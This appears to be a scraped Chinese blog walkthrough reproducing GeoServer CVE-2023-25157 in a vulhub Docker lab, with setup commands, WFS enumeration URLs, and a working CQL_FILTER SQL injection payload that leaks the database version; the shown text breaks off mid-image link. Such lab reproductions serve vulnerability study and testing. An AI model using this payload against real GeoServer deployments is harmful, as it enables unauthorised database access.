赞
踩
cd vulhub-master/
cd geoserver/
cd CVE-2023-25157
docker-compose up -d
docker-compose ps
1.访问http://yourip:8080/geoserver进入首页 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/370715e835e742118f6c9600ebba8e2f.png#pic_center) 2.获取每个功能名称 在进行注入之前,首先要获取地理图层列表信息,这是sql注入payload中的一个必要参数 访问以下url获取: http://192.168.43.161:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities `<Name>`标签中的信息,就是地理图层列表。这里选择`vulhub:example`作为地理图层列表信息 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/4843d59ffb8f48baac3871cac2f6f192.png#pic_center) 3.获取功能的属性 将上一步获取的typeName的name属性值拼接到url中,构成url如下: http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&maxFeatures=1&outputFormat=json ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/6720b716137b431cbd676b2305c88a3f.png#pic_center) 4.构造SQL 注入 Feature type (table) name: vulhub:example One of attribute from feature type: name 利用这些已知参数,拼接成payload: http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL\_FILTER=strStartsWith(name,%27x%27%27)%20=%20true%20and%201=(SELECT%20CAST%20((SELECT%20version())%20AS%20integer))%20–%20%27)%20=%20true ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/69d077d20a734b5fa0a8f2d
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。